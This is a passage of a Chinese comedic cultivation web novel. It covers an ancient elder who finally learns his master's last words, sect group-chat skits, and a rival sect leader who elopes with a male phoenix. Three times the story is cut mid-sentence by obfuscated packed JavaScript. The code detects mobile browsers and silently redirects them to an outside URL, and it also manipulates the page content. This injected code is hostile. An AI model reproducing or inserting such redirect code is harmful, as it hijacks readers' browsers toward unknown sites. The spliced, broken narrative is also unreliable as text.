很多人看不惯我们,说我们不思进取、浪费资源、有辱仙门。” “一开始只是口舌之争,后来就开始找茬。 今天说我们的灵脉是他们的,明天说我们弟子偷了功法,后天说我们勾结魔修……” “师父每次都笑着应付。他说: ‘没事,忍一忍就过去了。他们卷他们的,我们躺我们的。’” “但那一次,没忍过去。” 归尘的目光,变得无比遥远。 “那天晚上,来了很多人。 太多了。各大宗门精锐,还有好几位渡劫期的老怪物。” “师父让我们从传送阵走。我们不肯,他就发脾气: ‘你们留下来有什么用?送死吗?滚!都给我滚!’” “他把我推进传送阵的时候,我拉着他袖子不肯放。 他看着我,笑了笑,说——” 归尘顿住。 “他说:‘小尘啊,替师父去看看,外面的世界是不是真的那么好玩。’” “然后,他把我推了进去。” “他把我们一个个送走,自己留下来……受死。” “传送阵亮起那一刻,我看见他转过身,抽出剑,对着那些人。” “我看见的最后一幕,是他的背影。” 归尘说完,端起碗,轻轻喝了一口汤。 他的手很稳,脸上没有任何表情。 可所有人都明白,那平静之下,压着整整三千年的孤苦与执念。 没人说话。 宋栀子眼睛红了,咬着唇,强忍着没哭。 穆惇低着头,祁幻张了张嘴,想说点什么,却一个字也挤不出来。 典星河沉默了很久。 然后她站起身,走到归尘面前。 “前辈,”她声音微哑,“我能给您算一卦吗?” 归尘抬头看她:“你不是算不准吗?” 典星河笑了,眼眶微微泛红。 “这一卦,我想认真算。” 她抬起手,轻轻掐指。 指尖,开始发光。 光芒越来越亮,越来越烫,烫得她指尖发疼,她却没有停。 她闭上眼。 三息之后,她睁开眼,眸中水光微闪。 “我算到了。”她声音轻轻发颤, “您师父……最后那句话,不是‘替师父去看看’。” 归尘猛地一怔。 典星河望着他,一字一顿,清晰而郑重: “他说的是—— ‘小尘,活下去。 替师父,替大家,活下去。 找到个能让你笑的地方,那就是家。’” 归尘瞳孔骤然收缩。 “你怎么会……” “我有初代躺平宗掌门的血脉喽。”典星河轻声说,“刚才那一卦,连上了。” 归尘怔怔望着她。 三千年里,他无数次梦回那夜,无数次看见师父背影,无数次想听清最后那句话。 却始终模糊。 而今,他终于听清了。 “找到个能让你笑的地方,那就是家。” 归尘低下头。 很久很久,他再抬起头,看向眼前这五个人。 祁幻红着眼眶,账本攥得皱巴巴。 穆惇抬着眼看他,眼圈也红了。 牧殇安安静静,眼神却带着一种笨拙的坚定。 宋栀子已经哭出来,一边抹眼泪一边小声说:“归爷爷你别难过……” 典星河站在他面前,手还保持着掐算的姿势,指尖微微发颤。 归尘看着她,忽然笑了。 “你这一卦,”他轻声说,“算得挺准的。” 典星河愣了一下,也跟着笑。 笑着笑着,眼泪就掉了下来。 “那是。” “我赌上师父的名义,算的。” 那顿饭,吃了很久。 久到灯里灵气快要耗尽。 久到宋栀子哭累了,趴在桌上睡熟。 久到祁幻添了好几次热水,把一壶茶喝成了白开水。 最后,归尘站起身。 “我出去走走。” 典星河点点头,没有问他去哪里。 归尘走出主殿,来到山门前那棵歪脖子树下。 他蹲下来,从怀里掏出瓜子,却没有嗑,只是轻轻攥在手里。 月光洒下,落在那破破烂烂的山门上。 “躺干宗”。 他盯着那个缺了半边的“平”字,看了很久。 然后,他掏出那把扫帚——宋栀子送他的、会跑调唱歌的那一把。 他轻轻一挥。 扫帚没唱,大概在充能。 归尘轻轻笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387664|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师父,”他轻声说, “我找到了。” “那个能让我笑的地方。” “就在这儿。” 身后传来轻轻的脚步声。 归尘没有回头。 脚步声停在他身后两步远。 是牧殇。 “前辈,”他声音有点紧张,“那个……我给您送瓜子来了。” 归尘回头。 牧殇站在月光里,举着两大包瓜子,表情忐忑又乖巧。 “我刚才听见您说瓜子没了,我这还有两包,都是新买的,不是公账——不对,是公账但祁幻不知道——反正就是——” 归尘笑了。 “坐下。” 牧殇一愣,立刻屁颠屁颠跑过来,在他身边乖乖蹲下。 一老一少,并排蹲在歪脖子树下,对着月光,嗑瓜子。 “咔。” “咔。” 牧殇嗑了一会儿,忍不住小声问: “前辈,您刚才说的那些……是真的吗?” “哪些?” “就是……上古躺平宗那些。” “嗯。” “那您……恨吗?” 归尘沉默片刻。 “恨过。”他轻声说,“恨了三千年。” “现在呢?” 归尘望向远处。 月光下,破破烂烂的躺平宗,像一只蜷缩安睡的小兽。 “现在?”他笑了笑,“现在没空恨了。” “为什么?” “因为要忙着嗑瓜子。” 牧殇愣了一下,“噗”一声笑出来。 “前辈您这……” 归尘也笑了。 月光温柔,一老一少,蹲在树下,安安静静,笑得很轻,很暖。 远处,主殿门口。 典星河靠在门框上,望着这一幕。 祁幻走过来,站在她身边。 “掌门。”他小声开口。 “嗯。” “我们宗门……以后会不会……也变得很厉害?” 典星河想了想,轻声说: “不知道。但应该会变得,很有意思。” 祁幻沉默一会儿,耳朵尖微微发红。 “那……”他嘟囔,“我就不跑了吧。” 典星河转头看他。 祁幻别扭地别过脸: “反正跑了也没地方去。你们这群人,没我早就饿死了。” 典星河笑了。 “行。”她说,“那你继续留着吧。” 她转身往回走,走了两步,忽然回头。 “对了,祁幻。” “嗯?” “谢谢你。” 祁幻猛地一怔。 等他回过神,典星河已经走回屋里。 他站在原地,脸颊微微发烫。 “谢什么谢……”他小声嘟囔,“肉麻死了。” 可嘴角,却不受控制地,轻轻扬了起来。 【章末小剧场·躺平宗摸鱼群】 钱多多:@所有人 今日支出:晚饭食材三十文。瓜子两包—— 等等,@赵铁柱,你那两包瓜子哪来的?! 赵铁柱:…… 赵铁柱:前辈我先下了! (系统提示:用户“赵铁柱”已离线) 钱多多:@赵铁柱!!!你又来这套!!! 王甜甜:三师兄别生气,我给你留了半块馒头! 钱多多:那是晚饭剩的! 王甜甜:剩的也是心意! 钱多多:…… 李翠花:@钱多多,明天我去镇上卖萝卜,大概能进账二百文。 钱多多:真的?!穆师姐你太好了!! 李翠花:嗯。 典星河:@李翠花,你不是说那批萝卜要留着当种子吗? 李翠花:卖了。种子另想办法。 典星河:为什么? 李翠花:…… 李翠花:因为宗门没钱了。 钱多多:呜呜呜穆师姐我爱你!! 李翠花:不用。好好记账就行。 钱多多:我一定!! 归尘:@李翠花,萝卜卖完了,能再种点吗?挺好吃的。 李翠花:能。 归尘:好。 王甜甜:归爷爷你还没睡? 归尘:没。在和牧殇嗑瓜子。 钱多多:等等,你们还在嗑?!那两包瓜子还没嗑完?! 归尘:刚开第二包。 钱多多:…… 典星河:哈哈哈哈 李翠花:。 王甜甜:哈哈哈哈哈哈 钱多多:我不管了!我睡了!你们爱咋咋! (系统提示:用户“钱多多”已离线) 典星河:@归尘,瓜子留点,明天我也嗑。 归尘:好。 王甜甜:我也要! 李翠花:+1 归尘:都留。 月光下,歪脖子树旁,一老一少依旧在嗑瓜子。 远处主殿里,传来轻轻的呼吸声。 破破烂烂的躺平宗,安安静静,睡在月光里。 4. 青云宗那点破事 归尘在躺平宗的第四个清晨,是被一缕香气唤醒的。 没有炸声,没有哭喊,只有淡淡的粥香,顺着晨雾漫进柴房。 他有些意外,从干草堆里坐起身,侧耳细听。外头没有祁幻濒临崩溃的嘶吼,没有宋栀子发明失控的巨响,只有锅碗轻碰的细碎声响,隐约还伴着一道极淡的哼曲。 归尘拿起那把扫帚——它至今仍未开唱,宋栀子说“等灵气充满就会唱了”,可三天过去,它安静得像块普通木头。 清晨的阳光漫过破败的院墙,给漏雨的主殿镀上一层浅金。灶房方向,一道身影正忙碌着。 是穆惇。 她系着那条旧围裙,蹲在灶前添柴。锅里沸水咕嘟翻涌,案板上摆着洗净切好的萝卜。 归尘缓步走过去。 “早。” 穆惇抬头看了他一眼,轻轻点头,又低头往灶膛里添了根木柴。 归尘也不在意,在旁寻了块石头蹲下,自怀中摸出瓜子,慢悠悠嗑了起来。 “咔……咔……咔……” 穆惇添柴的动作微顿。 “前辈,”她声音依旧平静,“您每日都起得这般早?” 归尘想了想:“并非。今日是被香味叫醒的。” 穆惇没再接话,嘴角却极轻地动了动,说不清是想笑,还是单纯被火光晃得微动。 “煮的什么?”归尘问。 “萝卜粥。” “又是萝卜?” “嗯。” 归尘嗑下一颗瓜子,淡淡点头:“挺好。” 穆惇看了他一眼,欲言又止。 归尘察觉:“想说什么?” 她沉默片刻,低声道:“前辈,您不觉得腻吗?” “什么?” “萝卜。”穆惇抬眼,“日日都吃萝卜。” 归尘认真思索片刻。 “不会。”他轻声道,“我吃过比这差得多的东西。” 穆惇没有追问。 她大概能猜到。三千年颠沛流浪,能有什么好滋味。 灶火在她脸上明明灭灭,看不清神情。 许久,她才低低说了一句:“那我往后多种些别的。” 归尘微一怔,随即笑了。 “好。” 主殿门口,典星河窝在她那把三条腿的摇椅里,闭着眼,不知是睡了还是发呆。 祁幻坐在旁侧石块上,抱着账本,眉头拧成一团。 “掌门,”他开口,“这个月的账目……” “不看。”典星河眼都未睁。 “可赤字又扩大了!” “不看。” “隔壁村王屠户昨日来过,说上次的赔偿款还差二十文——” “不看。” 祁幻深吸一口气,啪地合上账本。 “掌门,”他语气里透着认命般的平静,“你是不是根本不在乎宗门有没有钱?” 典星河睁开一只眼。 “我在乎啊。” “那你为何不看账本?” “看了也没用。”她理直气壮,“我又不会赚钱,看了只头疼。” 祁幻张了张嘴,半晌无言。 远处忽然传来急促脚步声。 牧殇从山门方向狂奔而入,一脸兴奋。 “来了来了!”他大喊,“青云宗的人又来了!” 典星河另一只眼也睁开了。 “又来踢馆?” “不是!”牧殇喘着气冲到近前,“是上次那个白鹤鸣!带了个小孩!哭得稀里哗啦那种!” 祁幻眉头皱得更紧:“小孩?” “对!大概这么高——”牧殇用手比划,“穿得极好,一看就是富贵人家的孩子。” 典星河缓缓从摇椅上坐直。 “人呢?” “在山门外,不敢进来。”牧殇道,“上次被穆师姐一锄头吓怕了。” 典星河略一思索,望向灶房方向。 穆惇还在煮粥,归尘蹲在一旁嗑瓜子,一派悠闲。 “去叫穆惇。”她吩咐,“让她把锄头放下。” “那前辈呢?” 典星河目光不经意扫过归尘。 他倚着晨光嗑瓜子,侧脸线条被日光晕得柔和,竟意外地……耐看。 她微怔了瞬。 从前竟没发觉,前辈生得这般…… “掌门?”牧殇的声音拉回她的神思。 典星河轻咳一声,神色自然:“前辈想去便去,不想去便继续嗑瓜子,不差他一个。” 山门外,白鹤鸣立在原地,神情比上回复杂百倍。 他的飞剑已修好,却显然未复如初,剑身上一道显眼裂痕,像一道丑陋的疤。他停在山门两步外,半步都不敢逾越。 他脚边,确实站着个小孩。 约莫五六岁,身着华贵锦袍,腰佩成色上佳的玉佩,此刻正抱着他的腿,哭得撕心裂肺。 “我要爹——我要爹——呜呜呜呜——” 白鹤鸣僵在原地,表情僵硬如石。 典星河一行人缓步走出。穆惇肩上依旧扛着锄头——显然没听话。牧殇跟在后头,手里攥着一把瓜子。祁幻抱着账本,随时准备记账。宋栀子抱着她那根管子,眼睛亮得发光。 归尘也来了。 他未走近,只在山门边那棵歪脖子树下站定,倚着树干,慢悠悠嗑瓜子。 晨光落在他身上,他微微眯眼,一副事不关己的看热闹模样。 可不知为何,他往那一站,整个画面便莫名安稳顺眼。 祁幻忍不住多看了一眼。 他今日依旧穿着那件洗得发白的旧袍,却不知怎的,比平日多了几分……清逸。 不对,不是精神。 是…… 他一时想不出合适的词。 典星河先开了口,看向白鹤鸣:“这是……你儿子?” “不是!”白鹤鸣脸涨得通红,“这是我们掌门的小少爷!” “那你们掌门呢?” 白鹤鸣神情愈发僵硬。 “掌门他……”他艰涩开口,“被一只鸡拐跑了。” 全场静默三息。 牧殇嘴里的瓜子直接掉在地上。 祁幻手里的账本险些脱手。 穆惇肩上的锄头微微一歪。 宋栀子歪着头,一脸天真:“鸡?” “就是……鸡。”白鹤鸣说这话时,脸色苦得像吞了黄连,“一只……会说话的鸡。” 归尘嗑瓜子的手微顿。 他轻轻挑眉。 会说话的鸡? 有点意思。 典星河深吸一口气。 “从头说,说清楚。” 事情要从三日前说起。 青云宗掌门,白鹤鸣的师父,道号栖云子,是方圆五百里出了名的卷王。 凌晨三点起床练剑的是他。 渡劫失败发圈反思的是他。 宗门内搞KPI考核的也是他。 可这位卷王,却有个不为人知的软肋—— 怕老婆。 “等等。”典星河打断,“这和鸡有什么关系?” 白鹤鸣苦着脸:“掌门您听我说完。” 三日前,栖云子的儿子——就是地上哭个不停的小崽子——在后山玩耍,捡回一只鸡。 一只普通的黄羽走地鸡,看上去与农家土鸡别无二致。 可问题是,这鸡会说话。 “它第一晚就开口叫了声‘掌门好’。”白鹤鸣道,“把我师父吓了一跳。” “然后呢?” “然后……我师父便日日与它说话。” 牧殇插嘴:“跟一只鸡说话?” “是。”白鹤鸣表情越来越苦,“起初只是打招呼,后来便聊天,再后来……我师父开始跟它探讨修炼心得。” 祁幻张大了嘴。 “那鸡……懂修炼?” “不懂。”白鹤鸣道,“可它会点头。无论我师父说什么,它都点头。” “……” “我师父觉得它是知音。”白鹤鸣声音都在发颤,“他说,这只鸡比宗门里所有人都懂他。” 典星河扶着额头。 “真是低山臭水遇知音了。然后呢?” “昨日清晨,那鸡说想回家看看。”白鹤鸣道,“我师父说要送它,然后……就一起走了。” “走去哪?” “鸡窝山。”白鹤鸣道,“就是那边——翻过两座山,有一处叫鸡窝山的地方,据说住着一群成精的鸡。” 全场再次寂静。 穆惇的锄头彻底歪了。 牧殇忍不住笑出声,又慌忙捂住嘴。 宋栀子眼睛亮得像小灯泡:“成精的鸡?!我能去看看吗?” 祁幻一把拉住她:“不能。” 典星河沉默片刻,看向地上仍在痛哭的小孩。 “那他呢?” 白鹤鸣神情愈发复杂。 “小少爷非要跟着去,”他道,“我师父不让,把他留下了。然后他就……一直哭。师娘哄不住,让我们来……来……” 他顿住,说不下去。 “找我们做什么?”典星河挑眉。 白鹤鸣憋了半天,憋出一句:“师娘说,你们宗门有位……算卦极准的掌门,想请她算算,我师父何时能回来。” 全场第六次沉默。 典星河神情微妙。 “算卦极准的掌门?”她重复一遍。 “是。”白鹤鸣点头。 “你们师娘……从何处听说的?” 白鹤鸣表情更微妙:“从……仙网论坛上。” “……” 典星河沉默片刻,让祁幻掏出玉简,点开仙网论坛。 热搜第一赫然在目: 【震惊!躺平宗掌门神算!青云宗掌门被鸡拐跑早有预言?!】 点进去,是一条三日前的帖子。 发帖人ID:修仙界第一暖男(小号017)。 内容: “今日路过躺平宗,听那位掌门说:青云宗近日有血光之灾,但不是打架那种,是那种……嗯,你们懂的。当时没明白,现在懂了。大师!太准了!” 底下评论一片沸腾: “大师能帮我算算吗?” “大师我暗恋师姐三年,她何时能注意到我?” “大师我渡劫失败三次,第四次能成吗?” 典星河缓缓抬头,望向某个方向。 歪脖子树下,牧殇正拼命把自己缩成一团,试图隐身。 树下还有一人——归尘。 他依旧倚着树干,慢悠悠嗑瓜子,嘴角噙着一抹若有若无的笑意。 察觉到典星河的目光,他微微偏头,看了她一眼。 那一眼里,带着几分戏谑。 “牧、殇。” “在!”牧殇一个激灵站直。 “你那十七个小号,都干了些什么?” 牧殇额头冒汗:“就……日常灌水……偶尔发点……正能量……” “正能量?” “就……夸夸宗门……”牧殇声音越来越小,“顺便……提一句掌门您……算卦特别准……” 典星河深吸一口气。 祁幻在旁小声道:“掌门,现在外面都传您算卦神准,若是算不出——” 典星河抬手打断。 她看向白鹤鸣。 “你师父走了多久?” “十二个时辰。” “那鸡说话时,可有什么特征?” 白鹤鸣愣了一下,回想道:“眼睛……是金色的。我师父说,从未见过长金色眼瞳的鸡。” 典星河抬手,轻轻掐指。 指尖渐亮。 光芒越来越盛,比上回为归尘卜算时更耀眼。 所有人不自觉屏住呼吸。 归尘也停下嗑瓜子的动作,微微站直了身子。 三息后,典星河睁开眼。 “往西北走。”她声音清晰,“翻过鸡窝山,再行三十里,有一处名落凤坡。你师父在那里。” 白鹤鸣一怔。 “落凤坡?那不是……” “那不是鸡。”典星河平静道,“是凤凰。” 全场死寂。 牧殇手里的瓜子再次落地。 宋栀子眼睛亮成两轮小太阳:“凤凰?!!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387665|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆惇手中的锄头哐当掉在地上。 祁幻张大嘴,久久合不拢。 白鹤鸣整个人都傻了。 “凤……凤凰?” “嗯。”典星河点头,“活的。” “那……它为何装成鸡?” 典星河看他一眼,眼神里带着几分同情。 “你想想。”她缓缓道,“一只凤凰,跑到你们青云宗后山,被你师父的儿子捡回去,日日听你师父讲修炼心得,还一直点头——” 她顿了顿。 “它是去做什么的?” 白鹤鸣脑子转了数圈,脸色一点点发白。 “它……它看上我师父了?” “大概是。” “那我师父——” “应当无事。”典星河淡淡道,“凤凰又不吃人。最多就是……嗯。” 她没说透,可所有人都懂了。 白鹤鸣脸色惨白如纸。 他一把抱起地上痛哭的小孩,转身便要跑。 “等等。”典星河叫住他。 白鹤鸣回头。 典星河看着他,慢悠悠道:“回去告诉你师父,下次再寻知音,不必跟鸡聊。来我们宗门,牧殇能陪他聊三天三夜不重样。” 牧殇:“???” 白鹤鸣愣了一下,连忙点头,抱着孩子就要离去。 “等等。”典星河再叫住他。 二人四目相对。 “给钱。” 白鹤鸣翻了个白眼,嘀嘀咕咕扔下一袋银子,转身狂奔而去。 目送白鹤鸣消失在远方,祁幻转头看向典星河。 “掌门,”他小声问,“你刚才算的……是真的吗?” “自然是真的。”典星河淡淡道,“我认真算的。” “那凤凰……真看上青云宗掌门了?” 典星河沉默片刻。 “那不重要。”她说。 “那什么重要?” 典星河望向远处天际,神情微妙。 “重要的是,”她轻声道,“那只凤凰——是公的。” 全场死寂。 穆惇捡锄头的手一顿。 牧殇嘴巴张成O型。 宋栀子眨眨眼,一脸天真:“公的凤凰,也叫凤凰吗?那他们是……” “是。”典星河解释,“雄为凤,雌为凰。” 祁幻脑子转了三圈,脸色瞬间变得无比精彩。 “所以……青云宗掌门……被一只公凤凰拐跑了?” 典星河没说话,可神情已经说明一切。 牧殇第一个绷不住,噗地笑出声。 紧接着宋栀子也笑了起来。 三人站在山门口,笑得前仰后合。 笑声在破败的山门前轻轻飘荡。 归尘站在歪脖子树下,看着这群人笑作一团。 阳光落在他身上,柔和得像一层光晕。 他嘴角含笑,眼底藏着一丝说不清的意味——像是早已看穿一切,又像是终于等到了什么。 祁幻笑够了,一抬头,又撞见那幅画面。 他立在树下,阳光透过叶隙洒在他身上,轮廓干净清隽,唇角微扬。 那一瞬间,祁幻脑子里猛地蹦出一个词—— 美。 对,就是美。 不是女子的柔媚,是一种清逸出尘、雌雄莫辨的好看。 他愣了一下,用力甩甩头。 疯了吧,看前辈看出美感。 归尘似是察觉到他的目光,微微偏头,对上他的视线。 “怎么了?”他轻声问。 祁幻慌忙别过脸:“没、没什么!” 归尘笑了笑,没有追问。 他自怀中再摸出一把瓜子,继续嗑着。 “咔……咔……咔……” 日光正好,风也温柔。 【章末小剧场·躺平宗摸鱼群】 钱多多:@所有人 今日总结:青云宗掌门被凤凰拐跑。白鹤鸣上门求卦。掌门精准卜算。牧殇用小号灌水导致宗门被迫出名。牧殇你完了。 另:点名表扬掌门,为宗门入账二十两白银! 赵铁柱:…… 赵铁柱:掌门救我! 典星河:救不了。等死吧。 赵铁柱:宋师妹! 王甜甜:三师兄说得对,你完了。 赵铁柱:穆师姐! 李翠花:。 赵铁柱:……前辈! 归尘:瓜子不错。 赵铁柱:…… 钱多多:哈哈哈哈哈哈 王甜甜:哈哈哈哈哈哈 典星河:哈哈 李翠花:。 归尘:哈哈 赵铁柱:你们都欺负我!!! (系统提示:用户“赵铁柱”已离线) 钱多多:他又来这套。 典星河:习惯就好。 王甜甜:对了掌门,那只凤凰真的是公的吗? 典星河:真的。 王甜甜:那……青云宗掌门知道吗? 典星河:应该……还不知道吧。 钱多多:…… 钱多多:我突然有点同情他。 李翠花:+1 王甜甜:+1 典星河:+1 归尘:+1 五条消息整整齐齐。 钱多多:等等,前辈你也+1? 归尘:嗯。挺惨的。 钱多多:您见过凤凰? 归尘:见过。 钱多多:真的?!长什么样? 归尘:挺好看的。就是话多。 赵铁柱(突然上线):话多?比我还多? 归尘:差不多。 赵铁柱:…… 赵铁柱:那我不说话了。 (系统提示:用户“赵铁柱”已离线) 钱多多:…… 王甜甜:哈哈哈哈哈哈 典星河:前辈,你这是在打击他。 归尘:没有。实话而已。 远处,翻过两座山的鸡窝山方向,隐约传来一声凄厉惨叫—— “什么?!公的?!” 5. 那只凤凰有点东西 归尘在躺平宗的第五个清晨,是被一阵吵嚷惊醒的。 不是炸声,是吵架。 他睁开眼,侧耳听去。外头飘来牧殇高亢又委屈的声音:“凭什么?!我那是为宗门宣传!宣传懂不懂!” 紧接着是祁幻近乎崩溃的反驳:“宣传?你管这叫宣传?你知道现在仙网论坛多少人排着队求掌门算卦吗?队都排到明年了!你知道——” “行了行了。”典星河懒洋洋插进来,“吵什么,钱收了,卦算了,这不挺好?” “好什么好!”祁幻声音拔高八度,“昨天一下午来了八个人!八个!全是来找掌门算卦的!我记账记到手抽筋!” “那不是有钱进账吗?” “是有钱!可你知道他们问的都是什么吗?‘我暗恋的师姐什么时候能注意到我’‘我养的灵兽为什么总跟我对着干’‘我渡劫失败八次,第九次能成吗’——这都什么乱七八糟的!掌门你算得过来吗?” “算不过来啊。”典星河理直气壮,“所以我都随便说的。” “……” 祁幻彻底沉默。 归尘听到这儿,忍不住低笑出声。 主殿门口,几人围成一圈。 牧殇蹲在角落,一脸委屈,嘴里碎碎念:“我真是为宗门好……发帖子的时候也没料到会这样……” 祁幻站在他面前,叉着腰,一副审犯人的模样。 宋栀子坐在旁边石块上,抱着她那根管子,看得津津有味。 穆惇靠在墙边,面无表情,手里锄头却一直没放下——也不知是防谁。 典星河窝在摇椅里,悠闲晃着,手里还攥着一把瓜子。 归尘走过去,在她身旁蹲下,自怀中摸出自己的瓜子,慢悠悠嗑着。 “咔……咔……咔……” 典星河侧头看他一眼。 “前辈,您也来看热闹?” 归尘点头:“挺有意思。” 两人一左一右蹲着,并排嗑瓜子,一同看祁幻训牧殇。 阳光落在身上,暖得人发懒。 祁幻训了半天,一回头看见这幅画面,当场气结。 “你们——!”他指着典星河和归尘,“就这么看着?!” 典星河眨眨眼:“不然呢?帮你一起训?” 祁幻深吸一口气,再吸一口气,转向归尘:“前辈,您评评理!牧殇用小号发帖,说掌门算卦神准,现在一堆人排队来求卦!昨天一下午八个!掌门随便说两句就收二三十两!钱来得这么容易,以后谁还踏实干活?!” 归尘想了想,只问:“钱呢?” “什么?” “钱呢。”归尘重复,“收的那些银子,去哪了?” 祁幻一怔,下意识看向典星河。 典星河一脸无辜:“看我做什么?不是给你了吗?” “给我了?”祁幻懵了,“什么时候?” “昨天啊。”典星河说得理所当然,“白鹤鸣那二十两,后面那八人的,我都扔给你了。” 祁幻低头翻了翻账本,脸色一点点变了。 “等等。”他声音发飘,“今早我问你钱在哪,你说不知道?” 典星河眨眨眼:“我说过?” “你说了!” “那大概是忘了。” “忘了?!” 归尘在旁边“噗”地笑出声。 祁幻转头瞪他:“前辈您笑什么!” 归尘摆摆手,没说话,笑意却更明显了。 祁幻气得脸颊通红,又拿典星河没办法,只能回头继续训牧殇。 “你!以后不许再发帖!” 牧殇委屈巴巴:“不发就不发……” “还有,把你所有小号交出来!” “啊?全交?!” “全交!” “那不行!”牧殇急了,“我有几个小号混在别家宗门论坛,是用来收集情报的!” “收集什么情报?” “比如青云宗什么时候再来踢馆,比如哪个宗门要针对我们……”牧殇声音越说越小,“我那是……是为了宗门安全……” 祁幻愣住。 典星河也停下嗑瓜子的动作。 归尘微微挑眉。 “你说什么?”典星河坐直身子,“你用小号收集情报?” 牧殇缩了缩脖子:“就……随便看看……” “都有什么情报?” 牧殇犹豫片刻,从怀里掏出玉简,点开一条帖子。 “你们看这个——” 【青云宗内部论坛·灌水区】 标题:《隔壁那个躺平宗到底什么来头?》 楼主:青云弟子小号(IP匿名) 内容:听说他们掌门算命特别准?有没有人试过? 热评一: “试过个屁!我师兄白鹤鸣去了一趟,飞剑都被砸断了!” “楼上活该,谁让他去踢馆。” “等等,他们掌门不是以前算卦必错吗?怎么突然准了?” “我听说是新来了个三千岁的老头,那老头有问题。” “什么老头?” “不知道,据说长得还挺好看。” 看到这里,典星河一怔。 她下意识看向归尘。 归尘也在看玉简——牧殇把光幕放大,他看得一清二楚。 “长得还挺好看”一行字悬在半空。 归尘面无表情,嗑下一颗瓜子。 典星河轻咳一声,移开视线。 牧殇继续往下翻。 热评二: “管他什么老头,重点是那个掌门!我表妹昨天去找她算卦,问什么时候能找到道侣,你们猜她怎么说?” “怎么说的?” “她说:‘你命中注定的那个人,今天就会出现在你面前。’我表妹一回头,撞见一个路过的散修,长得还挺俊,两人当场聊上了!现在都在处了!” 底下瞬间炸锅: “卧槽这么准?!” “我也想去算一卦!” “排队排队,我听说预约已经排到三个月后了!” 祁幻看完,脸都白了。 “三个月后?!”他看向典星河,“掌门,你知不知道你在干什么?!” 典星河一脸无辜:“我就是随便说的啊……那个人今天会出现,概率本来就很大吧?每天都能遇到好多人。” “那万一没遇到呢?!” “那就明天再出现呗。”典星河理直气壮,“我又没说死哪一天。” 祁幻张了张嘴,半晌无言。 牧殇在旁小声嘀咕:“掌门,你这是……话术啊……” “什么话术。”典星河摆手,“这叫圆融。算命嘛,得给人留点儿想象空间。” 归尘在旁又笑了。 他这一笑,祁幻更急:“前辈您别笑了!您看看这都什么事!” 归尘收起笑意,想了想,道:“其实也挺好。” “好什么?” “有人来,就有钱。”归尘淡淡道,“有钱,就不用天天只吃萝卜了。” 穆惇听到这话,抬起头,看了归尘一眼。 归尘迎上她的目光,笑了笑:“不是说萝卜不好,就是……换换口味。” 穆惇沉默片刻,轻轻点头:“好。今天我去镇上,买些别的。” 祁幻一怔:“穆师姐,你……你不是最讨厌去镇上吗?” 穆惇没应声,重新靠回墙边。 就在这时,山门外传来脚步声。 不是一个,是一群。 祁幻脸色一变,连忙跑过去看。 随即,他僵在了原地。 山门外,浩浩荡荡立着一群人。 为首的是个青袍中年,面容清瘦,眼窝深陷,一看便是常年熬夜苦修的模样。 他身后跟着白鹤鸣,以及七八个青云宗弟子。 再往后…… 是一只鸡。 不对,不是鸡。 是一只—— 所有人都愣住。 那是一头巨大的灵鸟,通体火红,尾羽流光溢彩,在日光下熠熠生辉。它立在人群最后,姿态优雅,眼神倨傲。 而它身旁,还站着一个红衣男子。 眉眼风流,唇角带笑,正亲昵挽着那青袍中年的胳膊。 祁幻脑子“嗡”的一声。 他回头看向典星河。 典星河已经站了起来。 她盯着那红衣人,神情微妙。 “掌门。”祁幻小声问,“那是……” 典星河没说话。 归尘先开了口。 “凤凰。”他语气平静,“化形了。” 全场死寂。 牧殇手里的瓜子再次落地。 宋栀子眼睛亮得能当灯照:“凤凰?!人形的?!” 穆惇的锄头没掉,只是握得更紧了。 典星河深吸一口气,往前踏出一步。 “栖云子掌门。”她看向那青袍中年,“您这是……回来了?” 栖云子点头,神情复杂。 “回来了。”他声音微哑。 “那这位是……”典星河看向红衣人。 红衣男子微微一笑,拱手行礼。 “在下凤栖。”他声音清润,“承蒙栖云子掌门不弃,愿结为道侣。” 全场沉默。 祁幻手里的账本,这次是真的掉在了地上。 牧殇嘴巴张得能塞下一个鸡蛋。 宋栀子瞪圆了眼:“道侣?!和一只——” 鸡…… 话没说完,就被祁幻一把捂住嘴。 典星河沉默三息。 然后她看向栖云子。 “掌门。”她语气难得正经,“您……知道他是公的吗?” 栖云子神情更复杂了。 他沉默许久,缓缓开口:“知道。” “那您还——” “他跟我聊了三天三夜。”栖云子打断她,声音里带着一种认命般的平静,“三天三夜。从修炼心得到人生哲学,从宗门管理到育儿经验,从——总之,什么都聊。” 他顿了顿,看向凤栖。 凤栖对他温柔一笑。 栖云子表情更认命了。 “我活了三百多年。”他说,“从来没有一个人,能跟我聊这么久。” 典星河沉默。 牧殇在旁小声嘟囔:“这不跟我一样吗……” 祁幻瞪他:“你闭嘴!” 凤栖听见这话,转头看向牧殇,眼睛一亮。 “哦?”他笑道,“你也能聊?” 牧殇下意识点头。 凤栖笑意更浓:“那改天,咱们好好聊聊。” 牧殇忽然觉得后背一凉。 典星河轻咳一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 